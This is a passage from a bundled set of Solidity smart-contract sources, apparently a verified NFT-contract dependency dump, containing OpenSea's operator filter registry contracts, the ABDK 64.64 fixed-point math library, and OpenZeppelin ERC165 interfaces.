"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IERC2771 {\n function isTrustedForwarder(address forwarder) external;\n}\n"
},
"operator-filter-registry/src/OperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {IOperatorFilterRegistry} from \"./IOperatorFilterRegistry.sol\";\n\n/**\n * @title OperatorFilterer\n * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another\n * registrant's entries in the OperatorFilterRegistry.\n * @dev This smart contract is meant to be inherited by token contracts so they can use the following:\n * - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods.\n * - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods.\n */\nabstract contract OperatorFilterer {\n error OperatorNotAllowed(address operator);\n\n IOperatorFilterRegistry public constant OPERATOR_FILTER_REGISTRY =\n IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);\n\n constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {\n // If an inheriting token contract is deployed to a network without the registry deployed, the modifier\n // will not revert, but the contract will need to be registered with the registry once it is deployed in\n // order for the modifier to filter addresses.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (subscribe) {\n OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);\n } else {\n if (subscriptionOrRegistrantToCopy != address(0)) {\n OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);\n } else {\n OPERATOR_FILTER_REGISTRY.register(address(this));\n }\n }\n }\n }\n\n modifier onlyAllowedOperator(address from) virtual {\n // Allow spending tokens from addresses with balance\n // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred\n // from an EOA.\n if (from != msg.sender) {\n _checkFilterOperator(msg.sender);\n }\n _;\n }\n\n modifier onlyAllowedOperatorApproval(address operator) virtual {\n _checkFilterOperator(operator);\n _;\n }\n\n function _checkFilterOperator(address operator) internal view virtual {\n // Check registry code length to facilitate testing in environments without a deployed registry.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {\n revert OperatorNotAllowed(operator);\n }\n }\n }\n}\n"
},
"operator-filter-registry/src/IOperatorFilterRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ninterface IOperatorFilterRegistry {\n function isOperatorAllowed(address registrant, address operator) external view returns (bool);\n function register(address registrant) external;\n function registerAndSubscribe(address registrant, address subscription) external;\n function registerAndCopyEntries(address registrant, address registrantToCopy) external;\n function unregister(address addr) external;\n function updateOperator(address registrant, address operator, bool filtered) external;\n function updateOperators(address registrant, address[] calldata operators, bool filtered) external;\n function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;\n function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;\n function subscribe(address registrant, address registrantToSubscribe) external;\n function unsubscribe(address registrant, bool copyExistingEntries) external;\n function subscriptionOf(address addr) external returns (address registrant);\n function subscribers(address registrant) external returns (address[] memory);\n function subscriberAt(address registrant, uint256 index) external returns (address);\n function copyEntriesOf(address registrant, address registrantToCopy) external;\n function isOperatorFiltered(address registrant, address operator) external returns (bool);\n function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);\n function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);\n function filteredOperators(address addr) external returns (address[] memory);\n function filteredCodeHashes(address addr) external returns (bytes32[] memory);\n function filteredOperatorAt(address registrant, uint256 index) external returns (address);\n function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);\n function isRegistered(address addr) external returns (bool);\n function codeHashOf(address addr) external returns (bytes32);\n}\n"
},
"operator-filter-registry/src/DefaultOperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {OperatorFilterer} from \"./OperatorFilterer.sol\";\n\n/**\n * @title DefaultOperatorFilterer\n * @notice Inherits from OperatorFilterer and automatically subscribes to the default OpenSea subscription.\n */\nabstract contract DefaultOperatorFilterer is OperatorFilterer {\n address constant DEFAULT_SUBSCRIPTION = address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6);\n\n constructor() OperatorFilterer(DEFAULT_SUBSCRIPTION, true) {}\n}\n"
},
"abdk-libraries-solidity/ABDKMath64x64.sol": {
"content": "// SPDX-License-Identifier: BSD-4-Clause\n/*\n * ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting.\n * Author: Mikhail Vladimirov <mikhail.vladimirov@gmail.com>\n */\npragma solidity ^0.8.0;\n\n/**\n * Smart contract library of mathematical functions operating with signed\n * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is\n * basically a simple fraction whose numerator is signed 128-bit integer and\n * denominator is 2^64. As long as denominator is always the same, there is no\n * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are\n * represented by int128 type holding only the numerator.\n */\nlibrary ABDKMath64x64 {\n /*\n * Minimum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MIN_64x64 = -0x80000000000000000000000000000000;\n\n /*\n * Maximum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n /**\n * Convert signed 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromInt (int256 x) internal pure returns (int128) {\n unchecked {\n require (x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (x << 64);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 64-bit integer number\n * rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64-bit integer number\n */\n function toInt (int128 x) internal pure returns (int64) {\n unchecked {\n return int64 (x >> 64);\n }\n }\n\n /**\n * Convert unsigned 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromUInt (uint256 x) internal pure returns (int128) {\n unchecked {\n require (x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (int256 (x << 64));\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into unsigned 64-bit integer\n * number rounding down. Revert on underflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return unsigned 64-bit integer number\n */\n function toUInt (int128 x) internal pure returns (uint64) {\n unchecked {\n require (x >= 0);\n return uint64 (uint128 (x >> 64));\n }\n }\n\n /**\n * Convert signed 128.128 fixed point number into signed 64.64-bit fixed point\n * number rounding down. Revert on overflow.\n *\n * @param x signed 128.128-bin fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function from128x128 (int256 x) internal pure returns (int128) {\n unchecked {\n int256 result = x >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 128.128 fixed point\n * number.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 128.128 fixed point number\n */\n function to128x128 (int128 x) internal pure returns (int256) {\n unchecked {\n return int256 (x) << 64;\n }\n }\n\n /**\n * Calculate x + y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function add (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) + y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x - y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sub (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) - y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding down. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function mul (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) * y >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding towards zero, where x is signed 64.64 fixed point\n * number and y is signed 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y signed 256-bit integer number\n * @return signed 256-bit integer number\n */\n function muli (int128 x, int256 y) internal pure returns (int256) {\n unchecked {\n if (x == MIN_64x64) {\n require (y >= -0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF &&\n y <= 0x1000000000000000000000000000000000000000000000000);\n return -y << 63;\n } else {\n bool negativeResult = false;\n if (x < 0) {\n x = -x;\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint256 absoluteResult = mulu (x, uint256 (y));\n if (negativeResult) {\n require (absoluteResult <=\n 0x8000000000000000000000000000000000000000000000000000000000000000);\n return -int256 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <=\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int256 (absoluteResult);\n }\n }\n }\n }\n\n /**\n * Calculate x * y rounding down, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y unsigned 256-bit integer number\n * @return unsigned 256-bit integer number\n */\n function mulu (int128 x, uint256 y) internal pure returns (uint256) {\n unchecked {\n if (y == 0) return 0;\n\n require (x >= 0);\n\n uint256 lo = (uint256 (int256 (x)) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64;\n uint256 hi = uint256 (int256 (x)) * (y >> 128);\n\n require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n hi <<= 64;\n\n require (hi <=\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo);\n return hi + lo;\n }\n }\n\n /**\n * Calculate x / y rounding towards zero. Revert on overflow or when y is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function div (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n int256 result = (int256 (x) << 64) / y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are signed 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x signed 256-bit integer number\n * @param y signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divi (int256 x, int256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n\n bool negativeResult = false;\n if (x < 0) {\n x = -x; // We rely on overflow behavior here\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint128 absoluteResult = divuu (uint256 (x), uint256 (y));\n if (negativeResult) {\n require (absoluteResult <= 0x80000000000000000000000000000000);\n return -int128 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int128 (absoluteResult); // We rely on overflow behavior here\n }\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divu (uint256 x, uint256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n uint128 result = divuu (x, y);\n require (result <= uint128 (MAX_64x64));\n return int128 (result);\n }\n }\n\n /**\n * Calculate -x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function neg (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return -x;\n }\n }\n\n /**\n * Calculate |x|. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function abs (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return x < 0 ? -x : x;\n }\n }\n\n /**\n * Calculate 1 / x rounding towards zero. Revert on overflow or when x is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function inv (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != 0);\n int256 result = int256 (0x100000000000000000000000000000000) / x;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate arithmetics average of x and y, i.e. (x + y) / 2 rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function avg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n return int128 ((int256 (x) + int256 (y)) >> 1);\n }\n }\n\n /**\n * Calculate geometric average of x and y, i.e. sqrt (x * y) rounding down.\n * Revert on overflow or in case x * y is negative.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function gavg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 m = int256 (x) * int256 (y);\n require (m >= 0);\n require (m <\n 0x4000000000000000000000000000000000000000000000000000000000000000);\n return int128 (sqrtu (uint256 (m)));\n }\n }\n\n /**\n * Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y uint256 value\n * @return signed 64.64-bit fixed point number\n */\n function pow (int128 x, uint256 y) internal pure returns (int128) {\n unchecked {\n bool negative = x < 0 && y & 1 == 1;\n\n uint256 absX = uint128 (x < 0 ? -x : x);\n uint256 absResult;\n absResult = 0x100000000000000000000000000000000;\n\n if (absX <= 0x10000000000000000) {\n absX <<= 63;\n while (y != 0) {\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x2 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x4 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x8 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n y >>= 4;\n }\n\n absResult >>= 64;\n } else {\n uint256 absXShift = 63;\n if (absX < 0x1000000000000000000000000) { absX <<= 32; absXShift -= 32; }\n if (absX < 0x10000000000000000000000000000) { absX <<= 16; absXShift -= 16; }\n if (absX < 0x1000000000000000000000000000000) { absX <<= 8; absXShift -= 8; }\n if (absX < 0x10000000000000000000000000000000) { absX <<= 4; absXShift -= 4; }\n if (absX < 0x40000000000000000000000000000000) { absX <<= 2; absXShift -= 2; }\n if (absX < 0x80000000000000000000000000000000) { absX <<= 1; absXShift -= 1; }\n\n uint256 resultShift = 0;\n while (y != 0) {\n require (absXShift < 64);\n\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n resultShift += absXShift;\n if (absResult > 0x100000000000000000000000000000000) {\n absResult >>= 1;\n resultShift += 1;\n }\n }\n absX = absX * absX >> 127;\n absXShift <<= 1;\n if (absX >= 0x100000000000000000000000000000000) {\n absX >>= 1;\n absXShift += 1;\n }\n\n y >>= 1;\n }\n\n require (resultShift < 64);\n absResult >>= 64 - resultShift;\n }\n int256 result = negative ? -int256 (absResult) : int256 (absResult);\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down. Revert if x < 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sqrt (int128 x) internal pure returns (int128) {\n unchecked {\n require (x >= 0);\n return int128 (sqrtu (uint256 (int256 (x)) << 64));\n }\n }\n\n /**\n * Calculate binary logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function log_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n int256 msb = 0;\n int256 xc = x;\n if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; }\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n int256 result = msb - 64 << 64;\n uint256 ux = uint256 (int256 (x)) << uint256 (127 - msb);\n for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) {\n ux *= ux;\n uint256 b = ux >> 255;\n ux >>= 127 + b;\n result += bit * int256 (b);\n }\n\n return int128 (result);\n }\n }\n\n /**\n * Calculate natural logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function ln (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n return int128 (int256 (\n uint256 (int256 (log_2 (x))) * 0xB17217F7D1CF79ABC9E3B39803F2F6AF >> 128));\n }\n }\n\n /**\n * Calculate binary exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n uint256 result = 0x80000000000000000000000000000000;\n\n if (x & 0x8000000000000000 > 0)\n result = result * 0x16A09E667F3BCC908B2FB1366EA957D3E >> 128;\n if (x & 0x4000000000000000 > 0)\n result = result * 0x1306FE0A31B7152DE8D5A46305C85EDEC >> 128;\n if (x & 0x2000000000000000 > 0)\n result = result * 0x1172B83C7D517ADCDF7C8C50EB14A791F >> 128;\n if (x & 0x1000000000000000 > 0)\n result = result * 0x10B5586CF9890F6298B92B71842A98363 >> 128;\n if (x & 0x800000000000000 > 0)\n result = result * 0x1059B0D31585743AE7C548EB68CA417FD >> 128;\n if (x & 0x400000000000000 > 0)\n result = result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8 >> 128;\n if (x & 0x200000000000000 > 0)\n result = result * 0x10163DA9FB33356D84A66AE336DCDFA3F >> 128;\n if (x & 0x100000000000000 > 0)\n result = result * 0x100B1AFA5ABCBED6129AB13EC11DC9543 >> 128;\n if (x & 0x80000000000000 > 0)\n result = result * 0x10058C86DA1C09EA1FF19D294CF2F679B >> 128;\n if (x & 0x40000000000000 > 0)\n result = result * 0x1002C605E2E8CEC506D21BFC89A23A00F >> 128;\n if (x & 0x20000000000000 > 0)\n result = result * 0x100162F3904051FA128BCA9C55C31E5DF >> 128;\n if (x & 0x10000000000000 > 0)\n result = result * 0x1000B175EFFDC76BA38E31671CA939725 >> 128;\n if (x & 0x8000000000000 > 0)\n result = result * 0x100058BA01FB9F96D6CACD4B180917C3D >> 128;\n if (x & 0x4000000000000 > 0)\n result = result * 0x10002C5CC37DA9491D0985C348C68E7B3 >> 128;\n if (x & 0x2000000000000 > 0)\n result = result * 0x1000162E525EE054754457D5995292026 >> 128;\n if (x & 0x1000000000000 > 0)\n result = result * 0x10000B17255775C040618BF4A4ADE83FC >> 128;\n if (x & 0x800000000000 > 0)\n result = result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB >> 128;\n if (x & 0x400000000000 > 0)\n result = result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9 >> 128;\n if (x & 0x200000000000 > 0)\n result = result * 0x10000162E43F4F831060E02D839A9D16D >> 128;\n if (x & 0x100000000000 > 0)\n result = result * 0x100000B1721BCFC99D9F890EA06911763 >> 128;\n if (x & 0x80000000000 > 0)\n result = result * 0x10000058B90CF1E6D97F9CA14DBCC1628 >> 128;\n if (x & 0x40000000000 > 0)\n result = result * 0x1000002C5C863B73F016468F6BAC5CA2B >> 128;\n if (x & 0x20000000000 > 0)\n result = result * 0x100000162E430E5A18F6119E3C02282A5 >> 128;\n if (x & 0x10000000000 > 0)\n result = result * 0x1000000B1721835514B86E6D96EFD1BFE >> 128;\n if (x & 0x8000000000 > 0)\n result = result * 0x100000058B90C0B48C6BE5DF846C5B2EF >> 128;\n if (x & 0x4000000000 > 0)\n result = result * 0x10000002C5C8601CC6B9E94213C72737A >> 128;\n if (x & 0x2000000000 > 0)\n result = result * 0x1000000162E42FFF037DF38AA2B219F06 >> 128;\n if (x & 0x1000000000 > 0)\n result = result * 0x10000000B17217FBA9C739AA5819F44F9 >> 128;\n if (x & 0x800000000 > 0)\n result = result * 0x1000000058B90BFCDEE5ACD3C1CEDC823 >> 128;\n if (x & 0x400000000 > 0)\n result = result * 0x100000002C5C85FE31F35A6A30DA1BE50 >> 128;\n if (x & 0x200000000 > 0)\n result = result * 0x10000000162E42FF0999CE3541B9FFFCF >> 128;\n if (x & 0x100000000 > 0)\n result = result * 0x100000000B17217F80F4EF5AADDA45554 >> 128;\n if (x & 0x80000000 > 0)\n result = result * 0x10000000058B90BFBF8479BD5A81B51AD >> 128;\n if (x & 0x40000000 > 0)\n result = result * 0x1000000002C5C85FDF84BD62AE30A74CC >> 128;\n if (x & 0x20000000 > 0)\n result = result * 0x100000000162E42FEFB2FED257559BDAA >> 128;\n if (x & 0x10000000 > 0)\n result = result * 0x1000000000B17217F7D5A7716BBA4A9AE >> 128;\n if (x & 0x8000000 > 0)\n result = result * 0x100000000058B90BFBE9DDBAC5E109CCE >> 128;\n if (x & 0x4000000 > 0)\n result = result * 0x10000000002C5C85FDF4B15DE6F17EB0D >> 128;\n if (x & 0x2000000 > 0)\n result = result * 0x1000000000162E42FEFA494F1478FDE05 >> 128;\n if (x & 0x1000000 > 0)\n result = result * 0x10000000000B17217F7D20CF927C8E94C >> 128;\n if (x & 0x800000 > 0)\n result = result * 0x1000000000058B90BFBE8F71CB4E4B33D >> 128;\n if (x & 0x400000 > 0)\n result = result * 0x100000000002C5C85FDF477B662B26945 >> 128;\n if (x & 0x200000 > 0)\n result = result * 0x10000000000162E42FEFA3AE53369388C >> 128;\n if (x & 0x100000 > 0)\n result = result * 0x100000000000B17217F7D1D351A389D40 >> 128;\n if (x & 0x80000 > 0)\n result = result * 0x10000000000058B90BFBE8E8B2D3D4EDE >> 128;\n if (x & 0x40000 > 0)\n result = result * 0x1000000000002C5C85FDF4741BEA6E77E >> 128;\n if (x & 0x20000 > 0)\n result = result * 0x100000000000162E42FEFA39FE95583C2 >> 128;\n if (x & 0x10000 > 0)\n result = result * 0x1000000000000B17217F7D1CFB72B45E1 >> 128;\n if (x & 0x8000 > 0)\n result = result * 0x100000000000058B90BFBE8E7CC35C3F0 >> 128;\n if (x & 0x4000 > 0)\n result = result * 0x10000000000002C5C85FDF473E242EA38 >> 128;\n if (x & 0x2000 > 0)\n result = result * 0x1000000000000162E42FEFA39F02B772C >> 128;\n if (x & 0x1000 > 0)\n result = result * 0x10000000000000B17217F7D1CF7D83C1A >> 128;\n if (x & 0x800 > 0)\n result = result * 0x1000000000000058B90BFBE8E7BDCBE2E >> 128;\n if (x & 0x400 > 0)\n result = result * 0x100000000000002C5C85FDF473DEA871F >> 128;\n if (x & 0x200 > 0)\n result = result * 0x10000000000000162E42FEFA39EF44D91 >> 128;\n if (x & 0x100 > 0)\n result = result * 0x100000000000000B17217F7D1CF79E949 >> 128;\n if (x & 0x80 > 0)\n result = result * 0x10000000000000058B90BFBE8E7BCE544 >> 128;\n if (x & 0x40 > 0)\n result = result * 0x1000000000000002C5C85FDF473DE6ECA >> 128;\n if (x & 0x20 > 0)\n result = result * 0x100000000000000162E42FEFA39EF366F >> 128;\n if (x & 0x10 > 0)\n result = result * 0x1000000000000000B17217F7D1CF79AFA >> 128;\n if (x & 0x8 > 0)\n result = result * 0x100000000000000058B90BFBE8E7BCD6D >> 128;\n if (x & 0x4 > 0)\n result = result * 0x10000000000000002C5C85FDF473DE6B2 >> 128;\n if (x & 0x2 > 0)\n result = result * 0x1000000000000000162E42FEFA39EF358 >> 128;\n if (x & 0x1 > 0)\n result = result * 0x10000000000000000B17217F7D1CF79AB >> 128;\n\n result >>= uint256 (int256 (63 - (x >> 64)));\n require (result <= uint256 (int256 (MAX_64x64)));\n\n return int128 (int256 (result));\n }\n }\n\n /**\n * Calculate natural exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n return exp_2 (\n int128 (int256 (x) * 0x171547652B82FE1777D0FFDA0D23A7D12 >> 128));\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return unsigned 64.64-bit fixed point number\n */\n function divuu (uint256 x, uint256 y) private pure returns (uint128) {\n unchecked {\n require (y != 0);\n\n uint256 result;\n\n if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\n result = (x << 64) / y;\n else {\n uint256 msb = 192;\n uint256 xc = x >> 192;\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n result = (x << 255 - msb) / ((y - 1 >> msb - 191) + 1);\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 hi = result * (y >> 128);\n uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 xh = x >> 192;\n uint256 xl = x << 64;\n\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n lo = hi << 128;\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n\n assert (xh == hi >> 128);\n\n result += xl / y;\n }\n\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return uint128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer\n * number.\n *\n * @param x unsigned 256-bit integer number\n * @return unsigned 128-bit integer number\n */\n function sqrtu (uint256 x) private pure returns (uint128) {\n unchecked {\n if (x == 0) return 0;\n else {\n uint256 xx = x;\n uint256 r = 1;\n if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; }\n if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; }\n if (xx >= 0x100000000) { xx >>= 32; r <<= 16; }\n if (xx >= 0x10000) { xx >>= 16; r <<= 8; }\n if (xx >= 0x100) { xx >>= 8; r <<= 4; }\n if (xx >= 0x10) { xx >>= 4; r <<= 2; }\n if (xx >= 0x4) { r <<= 1; }\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1; // Seven iterations should be enough\n uint256 r1 = x / r;\n return uint128 (r < r1 ? r : r1);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == 